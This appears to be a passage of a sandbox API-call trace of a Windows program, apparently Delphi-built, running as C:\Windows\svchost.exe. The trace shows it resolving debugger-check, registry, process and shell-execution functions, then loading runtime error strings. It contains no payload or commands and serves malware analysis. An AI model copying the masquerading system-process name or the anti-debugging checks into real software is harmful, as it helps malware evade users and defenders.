os_tid = 0x9fc [0048.894] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0048.894] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0048.895] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0049.018] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0049.018] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.018] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0049.018] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="LocalFree") returned 0x76d42d3c [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="SizeofResource") returned 0x76d45ac9 [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemDefaultLangID") returned 0x76d6d346 [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0049.019] GetProcAddress (hModule=0x76d30000, lpProcName="GetFullPathNameW") returned 0x76d440d4 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfoExW") returned 0x76d6af0b [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesW") returned 0x76dc425f [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0049.020] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeZoneInformation") returned 0x76d4465a [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="FileTimeToLocalFileTime") returned 0x76d4e29e [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8 [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="TryEnterCriticalSection") returned 0x77c72500 [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="HeapDestroy") returned 0x76d435b7 [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="FileTimeToDosDateTime") returned 0x76d5c86d [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002 [0049.021] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9 [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="FindResourceW") returned 0x76d45971 [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="ResetEvent") returned 0x76d416dd [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="FreeResource") returned 0x76d5d3db [0049.022] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="RaiseException") returned 0x76d458a6 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="FormatMessageW") returned 0x76d44620 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="SwitchToThread") returned 0x76d5efec [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeThread") returned 0x76d5d5b5 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThread") returned 0x76d417ec [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesExW") returned 0x76d44574 [0049.023] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryExW") returned 0x76d4495d [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="LockResource") returned 0x76d45959 [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450 [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualQuery") returned 0x76d4445a [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualQueryEx") returned 0x76dc45cf [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0049.024] GetProcAddress (hModule=0x76d30000, lpProcName="LoadResource") returned 0x76d4594c [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="SuspendThread") returned 0x76d67d7e [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSize") returned 0x76d4196e [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoW") returned 0x76d44d40 [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentDirectoryW") returned 0x76d45611 [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="SetCurrentDirectoryW") returned 0x76d51260 [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0049.025] GetProcAddress (hModule=0x76d30000, lpProcName="VerLanguageNameW") returned 0x76dc459f [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPriority") returned 0x76d443bf [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPriority") returned 0x76d432bb [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemInfo") returned 0x76d449ca [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="GetTempPathW") returned 0x76d5d4dc [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0049.026] GetProcAddress (hModule=0x76d30000, lpProcName="ResumeThread") returned 0x76d443ef [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExW") returned 0x76d41ae5 [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="VerifyVersionInfoW") returned 0x76d5d423 [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="HeapCreate") returned 0x76d44a2d [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="GetDiskFreeSpaceW") returned 0x76d5f7aa [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="VerSetConditionMask") returned 0x77cb92b9 [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultUILanguage") returned 0x76d444ab [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleOutputCP") returned 0x76d59b0f [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff [0049.027] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e [0049.028] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryW") returned 0x76d4492b [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="SetEvent") returned 0x76d416c5 [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="IsDBCSLeadByteEx") returned 0x76d6cf4e [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="FreeConsole") returned 0x76de6aa8 [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocalTime") returned 0x76d45aa6 [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleWindow") returned 0x76de7c7d [0049.029] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="ExitThread") returned 0x77c9d598 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatW") returned 0x76d634d7 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocale") returned 0x76d5ce46 [0049.030] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemDefaultUILanguage") returned 0x76d62b22 [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="EnumCalendarInfoW") returned 0x76dc41ff [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="LocalAlloc") returned 0x76d4168c [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="RemoveDirectoryW") returned 0x76dc44cf [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventW") returned 0x76d4183e [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadLocale") returned 0x76d489d9 [0049.031] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadLocale") returned 0x76d435cf [0049.031] GetModuleHandleA (lpModuleName="shell32.dll") returned 0x759d0000 [0049.031] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0049.031] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteW") returned 0x759e3c71 [0049.032] GetModuleHandleA (lpModuleName="version.dll") returned 0x75670000 [0049.032] GetProcAddress (hModule=0x75670000, lpProcName="GetFileVersionInfoSizeW") returned 0x756719d9 [0049.032] GetProcAddress (hModule=0x75670000, lpProcName="VerQueryValueW") returned 0x75671b51 [0049.032] GetProcAddress (hModule=0x75670000, lpProcName="GetFileVersionInfoW") returned 0x756719f4 [0049.032] GetModuleHandleA (lpModuleName="user32.dll") returned 0x77130000 [0049.032] GetProcAddress (hModule=0x77130000, lpProcName="CharUpperBuffW") returned 0x7714fc5d [0049.032] GetProcAddress (hModule=0x77130000, lpProcName="CharNextW") returned 0x77148151 [0049.032] GetProcAddress (hModule=0x77130000, lpProcName="MsgWaitForMultipleObjects") returned 0x77150b4a [0049.032] GetProcAddress (hModule=0x77130000, lpProcName="ShowWindow") returned 0x77150dfb [0049.032] GetProcAddress (hModule=0x77130000, lpProcName="CharLowerBuffW") returned 0x7714760b [0049.033] GetProcAddress (hModule=0x77130000, lpProcName="LoadStringW") returned 0x77148eb9 [0049.033] GetProcAddress (hModule=0x77130000, lpProcName="CharUpperW") returned 0x7714f350 [0049.033] GetProcAddress (hModule=0x77130000, lpProcName="PeekMessageW") returned 0x771505ba [0049.033] GetProcAddress (hModule=0x77130000, lpProcName="GetSystemMetrics") returned 0x77147d2f [0049.033] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxW") returned 0x7719fd3f [0049.033] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x76e40000 [0049.033] GetProcAddress (hModule=0x76e40000, lpProcName="SysAllocStringLen") returned 0x76e445d2 [0049.033] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayPtrOfIndex") returned 0x76e5e1ce [0049.033] GetProcAddress (hModule=0x76e40000, lpProcName="VariantCopy") returned 0x76e448f1 [0049.033] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetLBound") returned 0x76e5e173 [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetUBound") returned 0x76e5e127 [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="VariantInit") returned 0x76e43ed5 [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="VariantClear") returned 0x76e43eae [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="SysFreeString") returned 0x76e43e59 [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="SysReAllocStringLen") returned 0x76e47810 [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="VariantChangeType") returned 0x76e45dee [0049.034] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCreate") returned 0x76e5e263 [0049.034] GetModuleHandleA (lpModuleName="netapi32.dll") returned 0x75650000 [0049.034] GetProcAddress (hModule=0x75650000, lpProcName="NetWkstaGetInfo") returned 0x75655570 [0049.035] GetProcAddress (hModule=0x75650000, lpProcName="NetApiBufferFree") returned 0x756413d2 [0049.035] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77710000 [0049.035] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0049.035] GetProcAddress (hModule=0x77710000, lpProcName="RegConnectRegistryW") returned 0x77718f01 [0049.035] GetProcAddress (hModule=0x77710000, lpProcName="RegEnumKeyExW") returned 0x777246c8 [0049.035] GetProcAddress (hModule=0x77710000, lpProcName="RegLoadKeyW") returned 0x77753473 [0049.035] GetProcAddress (hModule=0x77710000, lpProcName="RegDeleteKeyW") returned 0x77721272 [0049.035] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryInfoKeyW") returned 0x777246e7 [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegUnLoadKeyW") returned 0x77753493 [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegSaveKeyW") returned 0x77737a9b [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegDeleteValueW") returned 0x7771cf31 [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegReplaceKeyW") returned 0x77770b89 [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegFlushKey") returned 0x7773773f [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegEnumValueW") returned 0x777248cc [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0049.036] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0049.037] GetProcAddress (hModule=0x77710000, lpProcName="RegRestoreKeyW") returned 0x77737cba [0049.095] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0049.207] SetThreadLocale (Locale=0x400) returned 1 [0049.326] GetVersion () returned 0x1db10106 [0049.326] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.327] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPreferredUILanguages") returned 0x76dc47a1 [0049.327] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.327] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPreferredUILanguages") returned 0x76dd79e5 [0049.327] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.327] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadUILanguage") returned 0x76d6cf14 [0049.346] GetSystemInfo (in: lpSystemInfo=0x18fcdc | out: lpSystemInfo=0x18fcdc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0049.445] GetCommandLineW () returned="C:\\Windows\\svchost.exe" [0049.445] GetStartupInfoW (in: lpStartupInfo=0x18fcb8 | out: lpStartupInfo=0x18fcb8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\svchost.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4, hStdOutput=0x24a, hStdError=0x1f80)) [0049.445] GetACP () returned 0x4e4 [0049.445] GetCurrentThreadId () returned 0x9fc [0049.445] GetVersion () returned 0x1db10106 [0049.459] GetVersionExW (in: lpVersionInformation=0x18fbfc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x18fc50, dwBuildNumber=0x2bf718, dwPlatformId=0x18fcac, szCSDVersion="͢矇矆﫚矅盁￿￿%") | out: lpVersionInformation=0x18fbfc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.540] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x18dabc, nSize=0x20a | out: lpFilename="C:\\Windows\\svchost.exe" (normalized: "c:\\windows\\svchost.exe")) returned 0x16 [0049.558] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18d8a6, nSize=0x105 | out: lpFilename="C:\\Windows\\svchost.exe" (normalized: "c:\\windows\\svchost.exe")) returned 0x16 [0049.579] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x710000 [0049.665] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d820 | out: phkResult=0x18d820*=0x0) returned 0x2 [0049.666] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d820 | out: phkResult=0x18d820*=0x0) returned 0x2 [0049.666] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d820 | out: phkResult=0x18d820*=0x0) returned 0x2 [0049.667] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d820 | out: phkResult=0x18d820*=0x0) returned 0x2 [0049.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d820 | out: phkResult=0x18d820*=0x0) returned 0x2 [0049.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d820 | out: phkResult=0x18d820*=0x0) returned 0x2 [0049.667] GetUserDefaultUILanguage () returned 0x409 [0049.668] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1 [0049.668] GetThreadUILanguage () returned 0x180409 [0049.668] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d7fc, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d824 | out: pulNumLanguages=0x18d7fc, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d824) returned 1 [0049.668] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d7fc, pwszLanguagesBuffer=0x83a680, pcchLanguagesBuffer=0x18d824 | out: pulNumLanguages=0x18d7fc, pwszLanguagesBuffer=0x83a680, pcchLanguagesBuffer=0x18d824) returned 1 [0049.669] FindFirstFileW (in: lpFileName="C:\\Windows\\svchost.en-US", lpFindFileData=0x18d5c4 | out: lpFindFileData=0x18d5c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x13c, ftCreationTime.dwHighDateTime=0x1010004, ftLastAccessTime.dwLowDateTime=0x18d508, ftLastAccessTime.dwHighDateTime=0x3, ftLastWriteTime.dwLowDateTime=0x18d834, ftLastWriteTime.dwHighDateTime=0x13c, nFileSizeHigh=0x135841, nFileSizeLow=0xfffffffe, dwReserved0=0x5000005, dwReserved1=0xbc, cFileName="", cAlternateFileName="쀬\x82눤@\x13")) returned 0xffffffff [0049.671] FindFirstFileW (in: lpFileName="C:\\Windows\\svchost.en", lpFindFileData=0x18d5c4 | out: lpFindFileData=0x18d5c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x13c, ftCreationTime.dwHighDateTime=0x1010004, ftLastAccessTime.dwLowDateTime=0x18d508, ftLastAccessTime.dwHighDateTime=0x3, ftLastWriteTime.dwLowDateTime=0x18d834, ftLastWriteTime.dwHighDateTime=0x13c, nFileSizeHigh=0x135841, nFileSizeLow=0xfffffffe, dwReserved0=0x5000005, dwReserved1=0xbc, cFileName="", cAlternateFileName="赬\x84눤@\x13")) returned 0xffffffff [0049.671] GetUserDefaultUILanguage () returned 0x409 [0049.671] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x18d840, cchData=4 | out: lpLCData="ENU") returned 4 [0049.672] FindFirstFileW (in: lpFileName="C:\\Windows\\svchost.ENU", lpFindFileData=0x18d5cc | out: lpFindFileData=0x18d5cc*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d508, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d834, ftLastAccessTime.dwHighDateTime=0x13c, ftLastWriteTime.dwLowDateTime=0x135841, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x5000005, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x2bf310, cFileName="曀,4쀀", cAlternateFileName="赬\x84눤@\x13")) returned 0xffffffff [0049.672] FindFirstFileW (in: lpFileName="C:\\Windows\\svchost.EN", lpFindFileData=0x18d5cc | out: lpFindFileData=0x18d5cc*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d508, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d834, ftLastAccessTime.dwHighDateTime=0x13c, ftLastWriteTime.dwLowDateTime=0x135841, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x5000005, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x2bf310, cFileName="曀,4쀀", cAlternateFileName="赬\x84눤@\x13")) returned 0xffffffff [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffb0, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Method called on disposed object") returned 0x20 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffcf, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Feature not implemented") returned 0x17 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffce, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Monitor support function not initialized") returned 0x28 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffcd, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Object lock not owned") returned 0x15 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffcc, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffcb, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffc9, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffca, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffd8, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffc5, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0049.673] LoadStringW (in: hInstance=0x400000, uID=0xffd7, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffdb, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffec, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0049.674] LoadStringW (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18dcec, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 